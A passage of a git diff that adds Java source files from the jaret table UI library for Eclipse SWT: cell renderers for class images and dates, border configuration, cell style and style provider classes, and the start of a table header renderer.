+import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * CellRenderer rendering images corresponding to the class of the value. + * + * @author Peter Kliem + * @version $Id: ClassImageRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class ClassImageRenderer extends CellRendererBase implements ICellRenderer { + protected Map _keyMap = new HashMap(); + private ImageRegistry _imageRegistry; + + public ClassImageRenderer(Printer printer) { + super(printer); + } + + public ClassImageRenderer() { + super(null); + } + + /** + * Add a mapping between a class and an image descriptor. + * + * @param clazz the class + * @param key string key (has to be non null an unique for this renderer) to identfy the object + * @param imageDescriptor image descriptor for the image + */ + public void addClassImageDescriptorMapping(Class clazz, String key, ImageDescriptor imageDescriptor) { + getImageRegistry().put(key, imageDescriptor); + _keyMap.put(clazz, key); + } + + /** + * Add a mapping between a class and an image ressource. + * + * @param clazz class + * @param key string key (has to be non null an unique for this renderer) to identfy the object + * @param ressourceName ressource path + */ + public void addClassRessourceNameMapping(Class clazz, String key, String ressourceName) { + ImageDescriptor imgDesc = new ResourceImageDescriptor(ressourceName, this.getClass()); + addClassImageDescriptorMapping(clazz, key, imgDesc); + } + + /** + * Retrieve the key for a class, checking all super classes and interfaces. + * + * @param clazz class to check + * @return key or null + */ + protected String getKeyForClass(Class clazz) { + String result = _keyMap.get(clazz); + if (result != null) { + return result; + } + + Class[] interfaces = clazz.getInterfaces(); + for (int i = 0; i < interfaces.length; i++) { + result = _keyMap.get(interfaces[i]); + if (result != null) { + return result; + } + } + + Class sc = clazz.getSuperclass(); + if (sc != null) { + result = getKeyForClass(sc); + } + return result; + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, JaretTable jaretTable, ICellStyle cellStyle, Rectangle drawingArea, IRow row, + IColumn column, boolean drawFocus, boolean selected, boolean printing) { + drawBackground(gc, drawingArea, cellStyle, selected, printing); + Rectangle drect = drawBorder(gc, cellStyle, drawingArea, printing); + Rectangle rect = applyInsets(drect); + Object value = column.getValue(row); + String key = getKeyForClass(value.getClass()); + + if (key != null) { + Image img = null; + img = getImageRegistry().get(key); + int x = rect.x + (rect.width - scaleX(img.getBounds().width)) / 2; + int y = rect.y + (rect.height - scaleY(img.getBounds().height)) / 2; + gc.drawImage(img, 0, 0, img.getBounds().width, img.getBounds().height, x, y, scaleX(img.getBounds().width), + scaleY(img.getBounds().height)); + } else { + // indicate error with red fill + Color bg = gc.getBackground(); + gc.setBackground(Display.getCurrent().getSystemColor(SWT.COLOR_MAGENTA)); + gc.fillRectangle(rect); + gc.setBackground(bg); + } + if (drawFocus) { + drawFocus(gc, drect); + } + drawSelection(gc, drawingArea, cellStyle, selected, printing); + + } + + /** + * {@inheritDoc} + * + * @TODO + */ + public int getPreferredWidth(List rows, IColumn column) { + return -1;// return getImageRegistry().get(CHECKED).getBounds().width; + } + + /** + * {@inheritDoc} TODO + */ + public int getPreferredHeight(GC gc, ICellStyle cellStyle, int width, IRow row, IColumn column) { + return -1;// getImageRegistry().get(CHECKED).getBounds().height; + } + + /** + * Retrieve the image registry instance. + * + * @return ImageRegistry + */ + private synchronized ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + } + return _imageRegistry; + } + + /** + * {@inheritDoc} Disposes the image registry and clears the key map to help garbage collecting. + */ + public void dispose() { + if (_imageRegistry != null) { + _imageRegistry.dispose(); + } + _keyMap.clear(); + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + ClassImageRenderer renderer = new ClassImageRenderer(printer); + for (Class clazz : _keyMap.keySet()) { + String key = _keyMap.get(clazz); + ImageDescriptor imageDesc = getImageRegistry().getDescriptor(key); + renderer.addClassImageDescriptorMapping(clazz, key, imageDesc); + } + return renderer; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DateCellRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DateCellRenderer.java new file mode 100644 index 0000000..3902f94 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DateCellRenderer.java @@ -0,0 +1,90 @@ +/* + * File: DateCellRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.text.DateFormat; +import java.util.Date; + +import org.eclipse.swt.printing.Printer; + +import de.jaret.util.date.JaretDate; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IRow; + +/** + * Cell renderer for a date. Can also render a JaretDate. + * + * @author Peter Kliem + * @version $Id: DateCellRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DateCellRenderer extends TextCellRenderer { + /** dateformat used to format the date to text. */ + protected DateFormat _dateformat = DateFormat.getDateInstance(DateFormat.MEDIUM); + + /** + * Construct a date cell renderer for a printer. + * + * @param printer priner device + */ + public DateCellRenderer(Printer printer) { + super(printer); + } + + /** + * Construct a date cell renderer. + */ + public DateCellRenderer() { + super(); + } + + /** + * {@inheritDoc} + */ + protected String convertValue(IRow row, IColumn column) { + Object value = column.getValue(row); + if (value instanceof Date) { + Date date = (Date) value; + return _dateformat.format(date); + } else if (value instanceof JaretDate) { + Date date = ((JaretDate) value).getDate(); + return _dateformat.format(date); + } + return ""; + } + + /** + * Retrive the used date format. + * + * @return Returns the dateformat. + */ + public DateFormat getDateformat() { + return _dateformat; + } + + /** + * Set the dateformat used for text transformation. + * + * @param dateformat The dateformat to set. + */ + public void setDateformat(DateFormat dateformat) { + _dateformat = dateformat; + } + + /** + * {@inheritDoc} + */ + public ICellRenderer createPrintRenderer(Printer printer) { + DateCellRenderer renderer = new DateCellRenderer(printer); + renderer.setDateformat(getDateformat()); + return renderer; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultBorderConfiguration.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultBorderConfiguration.java new file mode 100644 index 0000000..a60dd67 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultBorderConfiguration.java @@ -0,0 +1,131 @@ +/* + * File: DefaultBorderConfiguration.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.util.StringTokenizer; + +/** + * Default implementation of a BorderConfiguration. + * + * @author Peter Kliem + * @version $Id: DefaultBorderConfiguration.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DefaultBorderConfiguration implements IBorderConfiguration { + /** left border. */ + protected int _borderLeft; + /** right border. */ + protected int _borderRight; + /** top border. */ + protected int _borderTop; + /** bottom border. */ + protected int _borderBottom; + + /** + * Construct a border configuration. + * + * @param left left border + * @param right right border + * @param top top border + * @param bottom bottom border + */ + public DefaultBorderConfiguration(int left, int right, int top, int bottom) { + _borderBottom = bottom; + _borderLeft = left; + _borderRight = right; + _borderTop = top; + } + + /** + * Construct a borderconfiguration form a comma separated string holding the values (no error hndling). + * + * @param str csv string + */ + public DefaultBorderConfiguration(String str) { + StringTokenizer tokenizer = new StringTokenizer(str, ","); + _borderLeft = Integer.parseInt(tokenizer.nextToken()); + _borderRight = Integer.parseInt(tokenizer.nextToken()); + _borderTop = Integer.parseInt(tokenizer.nextToken()); + _borderBottom = Integer.parseInt(tokenizer.nextToken()); + } + + /** + * {@inheritDoc} + */ + public DefaultBorderConfiguration copy() { + DefaultBorderConfiguration bc = new DefaultBorderConfiguration(_borderLeft, _borderRight, _borderTop, + _borderBottom); + return bc; + } + + /** + * {@inheritDoc} Produces a string that can be passed to the constructor as a csv string. + */ + public String toString() { + return _borderLeft + "," + _borderRight + "," + _borderTop + "," + _borderBottom; + } + + /** + * @return Returns the borderBottom. + */ + public int getBorderBottom() { + return _borderBottom; + } + + /** + * @param borderBottom The borderBottom to set. + */ + public void setBorderBottom(int borderBottom) { + _borderBottom = borderBottom; + } + + /** + * @return Returns the borderLeft. + */ + public int getBorderLeft() { + return _borderLeft; + } + + /** + * @param borderLeft The borderLeft to set. + */ + public void setBorderLeft(int borderLeft) { + _borderLeft = borderLeft; + } + + /** + * @return Returns the borderRight. + */ + public int getBorderRight() { + return _borderRight; + } + + /** + * @param borderRight The borderRight to set. + */ + public void setBorderRight(int borderRight) { + _borderRight = borderRight; + } + + /** + * @return Returns the borderTop. + */ + public int getBorderTop() { + return _borderTop; + } + + /** + * @param borderTop The borderTop to set. + */ + public void setBorderTop(int borderTop) { + _borderTop = borderTop; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyle.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyle.java new file mode 100644 index 0000000..b69b91d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyle.java @@ -0,0 +1,212 @@ +/* + * File: DefaultCellStyle.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.RGB; + +import de.jaret.util.misc.PropertyObservableBase; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.ITableViewState.HAlignment; +import de.jaret.util.ui.table.model.ITableViewState.VAlignment; + +/** + * Default implementation of ICellStyle. + * + * @author Peter Kliem + * @version $Id: DefaultCellStyle.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DefaultCellStyle extends PropertyObservableBase implements ICellStyle { + /** the border configuraion. */ + protected IBorderConfiguration _borderConfiguration; + /** foreground color as RGB (no color ressource here). */ + protected RGB _foregroundColor; + /** background color as RGB (no color ressource here). */ + protected RGB _backgroundColor; + /** border color as RGB (no color ressource here). */ + protected RGB _borderColor; + /** the font data to use (no font ressource here). */ + protected FontData _font; + /** horizontal alignement. */ + protected ITableViewState.HAlignment _hAlignment = ITableViewState.HAlignment.LEFT; + /** vertical alignment. */ + protected ITableViewState.VAlignment _vAlignment = ITableViewState.VAlignment.TOP; + /** should allow multinline.*/ + protected boolean _multiLine = true; + + /** + * Construct a new default cell style. + * + * @param foregroundColor forgeround + * @param backgroundColor background + * @param borderConfiguration border config + * @param font fontdata + */ + public DefaultCellStyle(RGB foregroundColor, RGB backgroundColor, IBorderConfiguration borderConfiguration, + FontData font) { + _foregroundColor = foregroundColor; + _backgroundColor = backgroundColor; + _borderConfiguration = borderConfiguration; + _font = font; + } + + /** + * {@inheritDoc} + */ + public DefaultCellStyle copy() { + DefaultCellStyle cs = new DefaultCellStyle(_foregroundColor, _backgroundColor, _borderConfiguration.copy(), + _font); + cs.setHorizontalAlignment(_hAlignment); + cs.setVerticalAlignment(_vAlignment); + return cs; + } + + /** + * @return Returns the backgroundColor. + */ + public RGB getBackgroundColor() { + return _backgroundColor; + } + + /** + * @param backgroundColor The backgroundColor to set. + */ + public void setBackgroundColor(RGB backgroundColor) { + if (isRealModification(_backgroundColor, backgroundColor)) { + RGB oldVal = _backgroundColor; + _backgroundColor = backgroundColor; + firePropertyChange(BACKGROUNDCOLOR, oldVal, backgroundColor); + } + } + + /** + * @return Returns the borderColor. + */ + public RGB getBorderColor() { + return _borderColor; + } + + /** + * {@inheritDoc} + */ + public void setBorderColor(RGB borderColor) { + if (isRealModification(_borderColor, borderColor)) { + RGB oldVal = _borderColor; + _borderColor = borderColor; + firePropertyChange(BORDERCOLOR, oldVal, borderColor); + } + } + + /** + * @return Returns the borderConfiguration. + */ + public IBorderConfiguration getBorderConfiguration() { + return _borderConfiguration; + } + + /** + * {@inheritDoc} + */ + public void setBorderConfiguration(IBorderConfiguration borderConfiguration) { + if (isRealModification(_borderConfiguration, borderConfiguration)) { + IBorderConfiguration oldVal = _borderConfiguration; + _borderConfiguration = borderConfiguration; + firePropertyChange(BORDERCONFIGURATION, oldVal, borderConfiguration); + } + } + + /** + * @return Returns the font. + */ + public FontData getFont() { + return _font; + } + + /** + * @param font The font to set. + */ + public void setFont(FontData font) { + if (isRealModification(_font, font)) { + FontData oldVal = _font; + _font = font; + firePropertyChange(FONT, oldVal, font); + } + } + + /** + * @return Returns the foregroundColor. + */ + public RGB getForegroundColor() { + return _foregroundColor; + } + + /** + * @param foregroundColor The foregroundColor to set. + */ + public void setForegroundColor(RGB foregroundColor) { + if (isRealModification(_foregroundColor, foregroundColor)) { + RGB oldVal = _foregroundColor; + _foregroundColor = foregroundColor; + firePropertyChange(FOREGROUNDCOLOR, oldVal, foregroundColor); + } + } + + /** + * {@inheritDoc} + */ + public HAlignment getHorizontalAlignment() { + return _hAlignment; + } + + /** + * {@inheritDoc} + */ + public void setHorizontalAlignment(HAlignment alignment) { + if (!_hAlignment.equals(alignment)) { + HAlignment oldVal = _hAlignment; + _hAlignment = alignment; + firePropertyChange(HORIZONTAL_ALIGNMENT, oldVal, alignment); + } + } + + /** + * {@inheritDoc} + */ + public VAlignment getVerticalAlignment() { + return _vAlignment; + } + + /** + * {@inheritDoc} + */ + public void setVerticalAlignment(VAlignment alignment) { + if (!_vAlignment.equals(alignment)) { + VAlignment oldVal = _vAlignment; + _vAlignment = alignment; + firePropertyChange(VERTICAL_ALIGNMENT, oldVal, alignment); + } + } + + /** + * @return Returns the multiLine. + */ + public boolean getMultiLine() { + return _multiLine; + } + + /** + * @param multiLine The multiLine to set. + */ + public void setMultiLine(boolean multiLine) { + _multiLine = multiLine; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyleProvider.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyleProvider.java new file mode 100644 index 0000000..2bf1ed3 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultCellStyleProvider.java @@ -0,0 +1,447 @@ +/* + * File: DefaultCellStyleProvider.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.RGB; + +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableCell; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.JaretTableCellImpl; +import de.jaret.util.ui.table.model.ITableViewState.HAlignment; +import de.jaret.util.ui.table.model.ITableViewState.VAlignment; + +/** + * A Default implementation of a CellStyleProvider. It will register itself with every cell style as a property change + * listener. + * + * @author Peter Kliem + * @version $Id: DefaultCellStyleProvider.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DefaultCellStyleProvider implements ICellStyleProvider, PropertyChangeListener { + /** map storing the row cell styles. */ + protected Map _rowMap = new HashMap(); + /** map storing the column cell styles. */ + protected Map _columnMap = new HashMap(); + /** map combintaion storing the style of a cell . */ + protected Map> _cellMap = new HashMap>(); + + /** the listener list. */ + protected List _listeners; + + /** the default cell style. */ + protected ICellStyle _defaultCellStyle; + /** the default cell style aligned right. */ + protected ICellStyle _defaultCellStyleAlignRight; + /** style stategy. */ + protected IStyleStrategy _styleStrategy; + + /** + * Constructor. + */ + public DefaultCellStyleProvider() { + IBorderConfiguration borderConf = new DefaultBorderConfiguration(1, 1, 1, 1); + _defaultCellStyle = new DefaultCellStyle(null, null, borderConf, null); + _defaultCellStyle.addPropertyChangeListener(this); + _defaultCellStyleAlignRight = new DefaultCellStyle(null, null, borderConf, null); + _defaultCellStyleAlignRight.setHorizontalAlignment(ITableViewState.HAlignment.RIGHT); + _defaultCellStyleAlignRight.addPropertyChangeListener(this); + } + + /** + * {@inheritDoc} TODO include a strategy for priority row/column. + */ + public ICellStyle getCellStyle(IRow row, IColumn column) { + ICellStyle style = null; + style = getCellSpecificStyle(row, column, false); + if (style == null) { + style = _rowMap.get(row); + } + if (style == null) { + style = _columnMap.get(column); + } + if (style == null) { + Class clazz = column.getContentClass(row); + if (clazz != null + && (clazz.equals(Double.class) || clazz.equals(Integer.class) || clazz.equals(Float.class) + || clazz.equals(Double.TYPE) || clazz.equals(Integer.TYPE) || clazz.equals(Float.TYPE))) { + style = _defaultCellStyleAlignRight; + } else { + style = _defaultCellStyle; + } + } + if (_styleStrategy != null) { + style = _styleStrategy.getCellStyle(row, column, style, _defaultCellStyle); + } + + return style; + } + + /** + * {@inheritDoc} + */ + public void setRowCellStyle(IRow row, ICellStyle style) { + ICellStyle old = _rowMap.get(row); + if (old != null) { + old.removePropertyChangeListener(this); + } + _rowMap.put(row, style); + if (style != null) { + style.addPropertyChangeListener(this); + } + fireCellStyleChanged(row, null, style); + } + + /** + * {@inheritDoc} + */ + public ICellStyle getRowCellStyle(IRow row, boolean create) { + ICellStyle style = null; + style = _rowMap.get(row); + if (style != null) { + return style; + } + + if (style == null && !create) { + return _defaultCellStyle; + } else { + style = _defaultCellStyle.copy(); + setRowCellStyle(row, style); + return style; + } + } + + /** + * {@inheritDoc} + */ + public void setColumnCellStyle(IColumn column, ICellStyle style) { + ICellStyle old = _columnMap.get(column); + if (old != null) { + old.removePropertyChangeListener(this); + } + _columnMap.put(column, style); + if (style != null) { + style.addPropertyChangeListener(this); + } + fireCellStyleChanged(null, column, style); + } + + /** + * {@inheritDoc} + */ + public ICellStyle getColumnCellStyle(IColumn column, boolean create) { + ICellStyle style = null; + style = _columnMap.get(column); + if (style != null) { + return style; + } + if (style == null && !create) { + return _defaultCellStyle; + } else { + // System.out.println("creating"); + style = _defaultCellStyle.copy(); + setColumnCellStyle(column, style); + return style; + } + } + + /** + * {@inheritDoc} + */ + public ICellStyle getCellSpecificStyle(IRow row, IColumn column, boolean create) { + ICellStyle style = null; + Map cMap = _cellMap.get(row); + if (cMap != null) { + style = cMap.get(column); + } + if (style == null && create) { + style = _defaultCellStyle.copy(); + setCellStyle(row, column, style); + } + return style; + } + + /** + * {@inheritDoc} + */ + public void setCellStyle(IRow row, IColumn column, ICellStyle style) { + ICellStyle oldStyle = getCellSpecificStyle(row, column, false); + if (oldStyle != null) { + oldStyle.removePropertyChangeListener(this); + } + Map cMap = _cellMap.get(row); + if (cMap == null) { + cMap = new HashMap(); + _cellMap.put(row, cMap); + } + cMap.put(column, style); + style.addPropertyChangeListener(this); + } + + /** + * {@inheritDoc} + */ + public ICellStyle getDefaultCellStyle() { + return _defaultCellStyle; + } + + /** + * {@inheritDoc} + */ + public void setDefaultCellStyle(ICellStyle cellStyle) { + _defaultCellStyle.removePropertyChangeListener(this); + _defaultCellStyle = cellStyle; + cellStyle.addPropertyChangeListener(this); + } + + /** + * {@inheritDoc} + */ + public synchronized void addCellStyleListener(ICellStyleListener csl) { + if (_listeners == null) { + _listeners = new ArrayList(); + } + _listeners.add(csl); + } + + /** + * {@inheritDoc} + */ + public void remCellStyleListener(ICellStyleListener csl) { + if (_listeners != null) { + _listeners.remove(csl); + } + } + + /** + * Inform listeners about a cell style change. + * + * @param row row affected + * @param column olumn affected + * @param cellStyle new style + */ + protected void fireCellStyleChanged(IRow row, IColumn column, ICellStyle cellStyle) { + if (_listeners != null) { + for (ICellStyleListener listener : _listeners) { + listener.cellStyleChanged(row, column, cellStyle); + } + } + } + + /** + * Retrieve all cells that have a certain style. TODO check performance + * + * @param style the style to search + * @return list of cels the style applies to + */ + protected List getStyleLocations(ICellStyle style) { + List result = new ArrayList(); + if (_columnMap.containsValue(style)) { + for (IColumn col : _columnMap.keySet()) { + if (_columnMap.get(col) == style) { + result.add(new JaretTableCellImpl(null, col)); + } + } + } + if (_rowMap.containsValue(style)) { + for (IRow row : _rowMap.keySet()) { + if (_rowMap.get(row) == style) { + result.add(new JaretTableCellImpl(row, null)); + } + } + } + + for (IRow row : _cellMap.keySet()) { + Map cmap = _cellMap.get(row); + if (cmap != null) { + for (IColumn col : cmap.keySet()) { + ICellStyle cs = cmap.get(col); + if (style == cs) { + result.add(new JaretTableCellImpl(row, col)); + } + } + } + } + + return result; + } + + /** + * {@inheritDoc} Listens to all styles and fires style changed for every location a style is used in. + */ + public void propertyChange(PropertyChangeEvent event) { + ICellStyle style = (ICellStyle) event.getSource(); + List locs = getStyleLocations(style); + for (IJaretTableCell loc : locs) { + fireCellStyleChanged(loc.getRow(), loc.getColumn(), (ICellStyle) style); + } + } + + /** + * {@inheritDoc} + */ + public IStyleStrategy getStyleStrategy() { + return _styleStrategy; + } + + /** + * {@inheritDoc} + */ + public void setStyleStrategy(IStyleStrategy startegy) { + _styleStrategy = startegy; + } + + // ////////// convenience methods + /** + * {@inheritDoc} + */ + public void setBackground(IRow row, RGB background) { + ICellStyle style = getRowCellStyle(row, true); + style.setBackgroundColor(background); + setRowCellStyle(row, style); + } + + /** + * {@inheritDoc} + */ + public void setBackground(IColumn column, RGB background) { + ICellStyle style = getColumnCellStyle(column, true); + style.setBackgroundColor(background); + setColumnCellStyle(column, style); + } + + /** + * {@inheritDoc} + */ + public void setBackground(IRow row, IColumn column, RGB background) { + ICellStyle style = getCellSpecificStyle(row, column, true); + style.setBackgroundColor(background); + setCellStyle(row, column, style); + } + + /** + * {@inheritDoc} + */ + public void setForeground(IRow row, RGB foreground) { + ICellStyle style = getRowCellStyle(row, true); + style.setForegroundColor(foreground); + setRowCellStyle(row, style); + } + + /** + * {@inheritDoc} + */ + public void setForeground(IColumn column, RGB foreground) { + ICellStyle style = getColumnCellStyle(column, true); + style.setForegroundColor(foreground); + setColumnCellStyle(column, style); + } + + /** + * {@inheritDoc} + */ + public void setForeground(IRow row, IColumn column, RGB foreground) { + ICellStyle style = getCellSpecificStyle(row, column, true); + style.setForegroundColor(foreground); + setCellStyle(row, column, style); + } + + /** + * {@inheritDoc} + */ + public void setHorizontalAlignment(IRow row, HAlignment alignment) { + ICellStyle style = getRowCellStyle(row, true); + style.setHorizontalAlignment(alignment); + setRowCellStyle(row, style); + } + + /** + * {@inheritDoc} + */ + public void setHorizontalAlignment(IColumn column, HAlignment alignment) { + ICellStyle style = getColumnCellStyle(column, true); + style.setHorizontalAlignment(alignment); + setColumnCellStyle(column, style); + } + + /** + * {@inheritDoc} + */ + public void setHorizontalAlignment(IRow row, IColumn column, HAlignment alignment) { + ICellStyle style = getCellSpecificStyle(row, column, true); + style.setHorizontalAlignment(alignment); + setCellStyle(row, column, style); + } + + /** + * {@inheritDoc} + */ + public void setVerticalAlignment(IRow row, VAlignment alignment) { + ICellStyle style = getRowCellStyle(row, true); + style.setVerticalAlignment(alignment); + setRowCellStyle(row, style); + } + + /** + * {@inheritDoc} + */ + public void setVerticalAlignment(IColumn column, VAlignment alignment) { + ICellStyle style = getColumnCellStyle(column, true); + style.setVerticalAlignment(alignment); + setColumnCellStyle(column, style); + } + + /** + * {@inheritDoc} + */ + public void setVerticalAlignment(IRow row, IColumn column, VAlignment alignment) { + ICellStyle style = getCellSpecificStyle(row, column, true); + style.setVerticalAlignment(alignment); + setCellStyle(row, column, style); + } + + /** + * {@inheritDoc} + */ + public void setFont(IRow row, FontData fontdata) { + ICellStyle style = getRowCellStyle(row, true); + style.setFont(fontdata); + setRowCellStyle(row, style); + } + + /** + * {@inheritDoc} + */ + public void setFont(IColumn column, FontData fontdata) { + ICellStyle style = getColumnCellStyle(column, true); + style.setFont(fontdata); + setColumnCellStyle(column, style); + } + + /** + * {@inheritDoc} + */ + public void setFont(IRow row, IColumn column, FontData fontdata) { + ICellStyle style = getCellSpecificStyle(row, column, true); + style.setFont(fontdata); + setCellStyle(row, column, style); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultTableHeaderRenderer.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultTableHeaderRenderer.java new file mode 100644 index 0000000..bd3576a --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/renderer/DefaultTableHeaderRenderer.java @@ -0,0 +1,360 @@ +/* + * File: DefaultTableHeaderRenderer.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.renderer; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.Transform; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.widgets.Display; + +import de.jaret.util.swt.SwtGraphicsHelper; +import de.jaret.util.ui.table.model.IColumn; + +/** + * Default header renderer for the jaret table. The header renderer will render a simple header view. The renderer + * supports rotating the header text from 0 to 90 degrees anti-clock wise. If a rotation is set, the header is drawn + * using a white background. Several properties allow changing the drawing (always consider writing a specialized + * renderer!). + * + * @author Peter Kliem + * @version $Id: DefaultTableHeaderRenderer.java,v 1.1 2012-05-07 01:34:38 jason Exp $ + */ +public class DefaultTableHeaderRenderer extends RendererBase implements ITableHeaderRenderer { + /** Alignment enumeration. */ + public enum Alignment { + LEFT, CENTER, RIGHT + }; + + /** default background rgb for non rotated drawing. */ + private static RGB DEFAULTBACKGROUND = new RGB(220, 220, 220); + + /** Alignment: default left. */ + protected Alignment _alignment = Alignment.LEFT; + + /** true if the header box should be drawn. */ + protected boolean _drawBox = true; + + /** background rgb value. */ + protected RGB _backgroundRGB = DEFAULTBACKGROUND; + /** allocated background color. */ + protected Color _bgColor; + + /** FOntadat of the font to use. */ + protected FontData _fontData; + /** font when aquired. */ + protected Font _font; + + /** rotation of the header text. */ + protected int _rotation = 0; + + /** Transformations for rotated text. */ + protected Transform _transform; + /** inverse transformation to reset gc. */ + protected Transform _transformInv; + + protected ImageRegistry _imageRegistry; + + /** key for uowards arrow. */ + protected static final String UP = "up"; + /** key for downwards arrow. */ + protected static final String DOWN = "down"; + /** width reserved for the sorting area. */ + protected static final int SORTINGAREAINDICATORWIDTH = 16; + + /** preferred height to use when more space is available. */ + private static final int PREFHEIGHT = 20; + + /** + * Construct a header renderer for printing. + * + * @param printer printer device + */ + public DefaultTableHeaderRenderer(Printer printer) { + super(printer); + } + + /** + * Construct header renderer for a display. + */ + public DefaultTableHeaderRenderer() { + super(null); + } + + /** + * Set the rotation of the header text. Please note that you have to call redraw() on the table + * yourself if you change the rotation while the table is showing. + * + * @param rotation rotation in degrees anti clockwise between 0 and 90 degrees. + */ + public void setRotation(int rotation) { + if (rotation < 0 || rotation > 90) { + throw new IllegalArgumentException("Rotation range 0..90"); + } + if (_rotation != rotation) { + disposeTransformations(); + _rotation = rotation; + _transform = new Transform(Display.getCurrent()); + _transformInv = new Transform(Display.getCurrent()); + _transform.rotate(-rotation); + _transformInv.rotate(-rotation); + _transformInv.invert(); + } + } + + /** + * {@inheritDoc} + */ + public void draw(GC gc, Rectangle drawingArea, IColumn column, int sortingOrder, boolean sortDir, boolean printing) { + Color bg = gc.getBackground(); + Font font = gc.getFont(); + String label = column.getHeaderLabel(); + + if (_fontData != null && _font == null) { + _font = new Font(gc.getDevice(), _fontData); + } + if (_font != null) { + gc.setFont(_font); + } + + if (_rotation == 0) { + // classic rendering + + // allocate color when not allocated + if (_bgColor == null) { + _bgColor = new Color(gc.getDevice(), _backgroundRGB); + } + + gc.setBackground(_bgColor); + + // if the available space is too big, restrict to pref height + if (drawingArea.height > PREFHEIGHT) { + drawingArea.y += drawingArea.height - PREFHEIGHT; + drawingArea.height = PREFHEIGHT; + + } + + gc.fillRectangle(drawingArea); + if (sortingOrder > 0) { + Image img = getImageRegistry().get(sortDir ? DOWN : UP); + gc.drawImage(img, drawingArea.x + 2, drawingArea.y + drawingArea.height - img.getBounds().height - 1); + } + // box or line + if (_drawBox) { + 